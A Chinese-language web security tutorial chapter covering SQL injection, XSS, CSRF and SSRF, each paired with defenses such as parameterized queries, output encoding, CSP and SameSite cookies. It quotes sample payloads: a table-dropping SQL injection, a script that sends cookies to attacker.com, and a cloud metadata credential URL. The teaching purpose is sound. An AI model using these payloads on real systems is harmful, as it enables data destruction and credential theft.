Skip to content

元数据卡

  • 前置知识:Vol 4 网络(HTTP 协议)、第3章(JWT、Session/Cookie)、基础 SQL 知识
  • 预计时间:70 分钟
  • 核心难度:进阶
  • 完成标志:能解释 SQL 注入的原理和四种防御层次;能区分 XSS 的三种类型;能为常见的 Web 攻击设计防御方案

你的进度

魔法驿道上的通信体系终于跑起来了。你有加密法阵、有符文证书验证身份、有 OAuth 魔法令牌来处理第三方授权——这些是驿道的防护护盾和城墙。

但护盾有缝隙,围墙有暗门。攻击者不需要正面攻破你的加密咒语,他们可以走更简单的路:让你的驿站系统自己暴露漏洞。

灰塔的一个驿站管理员开发了一套“驿道日志查询系统”,用来记录和查询每天的传送记录。你检查了一下——这个系统直接把管理员输入的传送日志编号拼进了魔力查询咒语。 你的任务

掌握最常见的 Web 安全漏洞和它们的防御方法。你将深入理解 SQL 注入、XSS、CSRF、SSRF 的根本原因和现代防御策略。这些不是"教科书概念"——OWASP Top 10 中的每一类都在真实世界中反复造成严重事故。

本章分层

  • 必读:SQL 注入(含预编译语句)、XSS(三种类型)、CSRF(SameSite Cookie)、SSRF
  • 选读:CSP(Content Security Policy)策略配置、请求走私
  • 进阶:混淆攻击(Encoding Attacks)、HTTP/2 多路复用与安全边界

破局 · 溯源

SQL 注入:最简单的入侵

先看那个巡逻报告系统的问题代码:

python
# 不安全!——不要在生产中使用
def get_patrol_report(patrol_id):
    query = f"SELECT * FROM patrol_reports WHERE id = {patrol_id}"
    cursor.execute(query)
    return cursor.fetchall()

如果 patrol_id 来自用户输入,攻击者可以传入:

?patrol_id=1 OR 1=1

查询变成:

sql
SELECT * FROM patrol_reports WHERE id = 1 OR 1=1

——返回所有巡逻报告。这只是开始。

更恶劣的攻击:

sql
1; DROP TABLE patrol_reports; --
1 UNION SELECT username, password_hash, ... FROM users --

SQL 注入的根本原因:代码和数据没有分开。

当 SQL 语句中混合了代码(SQL 指令)和数据(用户输入),而且没有明确的分隔时,攻击者就能注入代码。

防御层次(从浅到深):

第一层(必须):参数化查询 / 预编译语句

这是最核心的防线。把 SQL 结构(代码)和数据分开:

python
# Python + psycopg2(PostgreSQL)
def get_patrol_report_safe(patrol_id):
    query = "SELECT * FROM patrol_reports WHERE id = %s"
    cursor.execute(query, (patrol_id,))
    return cursor.fetchall()

# Java + JDBC
# PreparedStatement stmt = conn.prepareStatement(
#     "SELECT * FROM patrol_reports WHERE id = ?"
# );
# stmt.setInt(1, patrolId);

# Node.js + mysql2
# const [rows] = await connection.execute(
#     'SELECT * FROM patrol_reports WHERE id = ?',
#     [patrolId]
# );

预编译语句的机制:

1. 数据库先解析 SQL 结构(知道这是个 SELECT)
2. 参数用占位符(? / %s)标记
3. 数据库绑定参数值时,自动转义或作为字面量处理
4. 用户输入不会被解析为 SQL 关键字

第二层:最小权限原则

数据库连接用户不应该有 DROP TABLE 的权限。连接巡检系统数据库的用户只应该有该系统的 SELECT 权限。

sql
-- 创建专用的低权限用户
CREATE USER patrol_reader WITH PASSWORD '...';
GRANT SELECT ON patrol_reports TO patrol_reader;
-- 不给 INSERT/UPDATE/DELETE/DROP/TRUNCATE 权限

第三层:输入验证

永远不要相信用户的输入。即使使用了参数化查询,也应做输入类型验证:

python
def get_patrol_report(patrol_id):
    if not isinstance(patrol_id, int):
        # 或者用 try int(patrol_id)
        raise ValueError("patrol_id must be an integer")
    # ... 安全的查询

第四层:WAF 和 RASP

Web Application Firewall(如 ModSecurity)和 Runtime Application Self-Protection 是最后的防线。它们可以在网络层或运行时检测并拦截 SQL 注入攻击。

XSS(Cross-Site Scripting)

SQL 注入攻击后端。XSS 攻击前端——在用户的浏览器中执行恶意脚本。

XSS 三种类型:

类型触发方式持久性危害
存储型(Stored)恶意脚本保存在服务器,每次页面加载时执行持久最大——影响所有访问者
反射型(Reflected)恶意脚本在 URL 中,用户点击链接时触发临时需要诱导用户
DOM 型(DOM-based)通过客户端 JS 动态修改 DOM 触发,不经过服务器临时隐蔽——服务器日志里没有痕迹

存储型 XSS 示例:

一个哨站留言板系统:

python
# 不安全的留言提交
def submit_message(username, content):
    query = "INSERT INTO messages (username, content) VALUES (%s, %s)"
    cursor.execute(query, (username, content))

# 不安全的留言展示
def render_messages():
    messages = fetch_all_messages()
    html = "<ul>"
    for msg in messages:
        # 直接把用户内容放到 HTML 中!
        html += f"<li><b>{msg['username']}</b>: {msg['content']}</li>"
    html += "</ul>"
    return html

攻击者提交:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

当其他用户查看留言板时,这个脚本执行,把用户的 cookie 发送给攻击者。

防御 XSS:上下文相关的输出编码

上下文转义方式示例
HTML 标签内容转义 < > & " '&lt;script&gt;
HTML 属性转义引号和特殊字符onclick="..." 中的引号
JavaScript 字符串转义 \ ' "\x3cscript\x3e
URL 参数URL 编码%3Cscript%3E
CSS转义特殊字符

Python(Flask 的 Jinja2 模板默认开启自动转义):

python
# Jinja2 默认自动转义变量中的 HTML
# {{ user_input }} 自动转为 &lt;script&gt;
# 如果确实需要渲染 HTML:{{ content|safe }} ——但要确保 content 已清理

# 或者用专门的 HTML sanitizer
import bleach

allowed_tags = ['b', 'i', 'em', 'strong', 'a', 'p', 'br']
allowed_attrs = {'a': ['href', 'title']}

clean_content = bleach.clean(
    raw_input,
    tags=allowed_tags,
    attributes=allowed_attrs,
)

Java(JSP 应使用 JSTL 的 c:out 而非 EL 表达式):

jsp
<%-- 安全:自动 HTML 转义 --%>
<c:out value="${message.content}" />

<%-- 不安全:直接输出 --%>
${message.content}

React / Vue 等现代前端框架默认对插值做转义({content} / ),但注意 dangerouslySetInnerHTML / v-html 的滥用。

更彻底的防御:内容安全策略(CSP)

CSP 是 HTTP 响应头,告诉浏览器只执行来自特定来源的脚本。即使注入成功,CSP 可以阻止脚本执行:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

这条策略告诉浏览器:只允许加载同源和指定 CDN 的脚本。内联脚本(<script>alert(1)</script>)和 eval() 被禁止(除非有 'unsafe-inline' 但建议不要加)。

python
# Flask 中设置 CSP
@app.after_request
def add_csp(response):
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data:; "
        "frame-ancestors 'none';"
    )
    return response

CSRF(Cross-Site Request Forgery)

CSRF 是另一种攻击:用户在要塞系统上保持着登录状态(cookie),攻击者诱导用户访问一个恶意网页,该网页自动发送一个跨站请求,cookie 自动带上,服务器以为这是用户本人操作。

受害者浏览器:
  ┌──────────────────────┐
  │ 已登录 borderfortress│ ← session cookie
  │ .com                 │
  │ 同时访问:           │
  │ attacker.com/evil    │
  └──────────────────────┘

         ├──→ GET borderfortress.com/transfer?amount=1000&to=attacker
         │    (浏览器自动附带 cookie)

         └──→ 服务器以为这是用户的合法操作!

CSRF 防御(现代方案,不再需要 token):SameSite Cookie

python
# Set-Cookie 带上 SameSite 属性
response.set_cookie(
    "session_id",
    session_id,
    samesite="Lax",    # 或 "Strict"
    secure=True,       # 仅 HTTPS
    httponly=True,     # 禁止 JS 读取
    max_age=3600,
)

SameSite 的三个值:

行为
Strict完全不允许跨站请求携带 cookie
Lax允许顶级导航(GET 链接跳转),禁止 POST 表单、fetch、XMLHttpRequest
None不做限制(需要设置 Secure

从 Chrome 80 开始,未设置 SameSite 的 cookie 默认被视为 SameSite=Lax。这基本上解决了 CSRF 问题——但不是所有浏览器都支持,且旧系统可能需要显式防护。

传统的 CSRF Token 方案(作为后备或兼容方案):

python
# 服务器生成一个随机 token,嵌入表单
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="random_token_abc123">
  <input type="text" name="amount">
  <input type="submit" value="转账">
</form>

# 服务器验证
if request.form['csrf_token'] != session['csrf_token']:
    abort(403)

攻击者无法获取用户的 CSRF token(受同源策略保护),所以无法构造有效的恶意请求。

SSRF(Server-Side Request Forgery)

SSRF 是攻击者让服务器发起请求到内部网络。

攻击者 → 你的应用服务器 → 内部服务(数据库 / 云元数据 API / ...)

场景:哨站系统允许用户输入一个 URL,服务器去抓取该 URL 的内容展示:

python
# 不安全的 URL 抓取
def fetch_url(url):
    # 用户传入:http://169.254.169.254/latest/meta-data/iam/security-credentials/
    # 这是一个 AWS/GCP 内部元数据端点!
    response = requests.get(url, timeout=5)
    return response.text

攻击者可以通过 SSRF:

  1. 扫描你的内部网络拓扑
  2. 访问云服务商的元数据 API(获取临时密钥)
  3. 访问内部数据库或管理面板
  4. 攻击内部 Redis / Memcached(未授权访问的端口)

SSRF 防御:

python
import ipaddress
from urllib.parse import urlparse

def safe_fetch_url(url):
    parsed = urlparse(url)
    
    # 1. 禁止访问内部地址
    hostname = parsed.hostname
    if hostname == 'localhost' or hostname == '127.0.0.1':
        raise ValueError("不允许访问本地地址")
    
    try:
        ip = ipaddress.ip_address(hostname)
        if ip.is_private:
            # 10.x.x.x, 172.16-31.x.x, 192.168.x.x
            raise ValueError("不允许访问私有 IP")
    except ValueError:
        pass  # 域名
    
    # 2. 限制协议和端口
    if parsed.scheme not in ('http', 'https'):
        raise ValueError("只允许 HTTP/HTTPS")
    
    # 3. 白名单 URL(如果可能)
    ALLOWED_DOMAINS = ['maps.borderfortress.com', 'weather.api.com']
    if not any(hostname.endswith(d) for d in ALLOWED_DOMAINS):
        raise ValueError("URL 不在允许列表中")
    
    # 4. 限制重定向
    response = requests.get(url, allow_redirects=False, timeout=5)
    
    return response.text

更全面的 OWASP Top 10(2021):

排名类别一句话说明
A01Broken Access Control权限检查缺失,用户可以越权操作
A02Cryptographic Failures加密没用好(明文传密码、弱哈希、短密钥)
A03InjectionSQL、NoSQL、OS 命令注入——代码和数据没分开
A04Insecure Design架构层面缺乏安全考量(没有 rate limit、缺少审计)
A05Security Misconfiguration默认配置、调试模式开放、不必要的端口暴露
A06Vulnerable Components依赖库有已知漏洞(log4j、struts2)
A07Identification and Auth Failures弱密码、session 固定、token 未正确验证
A08Software and Data Integrity Failures供应链攻击、CI/CD 注入、不安全的自动更新
A09Security Logging and Monitoring Failures不记录攻击事件,发现不了入侵
A10SSRF服务器请求伪造

常见陷阱

  • 认为 ORM 自动防御 SQL 注入。 ORM 也不安全——有些 ORM 方法(如 raw query、某些 where 传参方式)仍然有注入风险。
  • 只做前端验证。 前端验证只是为了提升用户体验,不能作为安全措施。攻击者可以绕过前端直接发 HTTP 请求。
  • CSP 的策略太宽松。 script-src 'self' 'unsafe-inline' 和没设 CSP 差不多。'unsafe-inline' 允许所有内联脚本执行。
  • JSONP 的 XSS 风险。 JSONP 本质上是在当前页面执行跨域脚本。不要轻易使用,优先用 CORS。
  • 认为 CSRF 只影响 POST 请求。 GET 请求接口(如图片 URL 触发的操作)也有 CSRF 风险。用 SameSite=Lax 可以覆盖大部分场景。
  • HTTPS 不代表安全。 HTTPS 只保证传输层加密。应用层的漏洞(XSS、SQLi)在 HTTPS 连接上一样可以发生。

通关挑战

  • 热身:在你的一个 Web 应用中检查所有 SQL 查询,确认没有字符串拼接 SQL。检查所有接受用户输入的地方,确认使用了参数化查询。
  • 挑战:构建一个简单的留言板应用(Flask / Express / Spring Boot),故意复现一个存储型 XSS。然后修复它(使用正确的编码),并添加 CSP 头。
  • 观察:用浏览器的开发者工具打开 Network 面板,访问一个网站的登录页面,检查 Set-Cookie 响应头,看你是否能找到 SameSiteHttpOnlySecure 属性。
  • 排障:用户报告"我可以在留言板发帖,但帖子里的链接图片不显示"。你发现问题是 CSP 阻止了外部图片。如何正确解决这个问题(而不是直接放宽 img-src)?

旅人笔记

  • SQL 注入的根本原因是代码和数据混在一起。参数化查询是第一条防线
  • XSS 是前端漏洞:不信任用户输入,正确编码输出上下文
  • CSP 是 Web 安全纵深防御的重要一环(即使 XSS 注入成功,也能阻止执行)
  • CSRF 在 SameSite Cookie 时代基本已被解决,但理解和向后兼容仍需关注
  • SSRF 是攻击面扩大——确保服务器不会成为攻击其他内部系统的跳板
  • HTTPS 保护传输层,不保护应用层。两者都需要

下一站预告

你修复了要塞 web 应用的各种漏洞。但攻击者转向了更底层——操作系统本身。如果系统内核是敞开的,所有应用层的防御都没有意义。下一章,我们来审视操作系统级别的安全防线。

Built with VitePress | Software Systems Atlas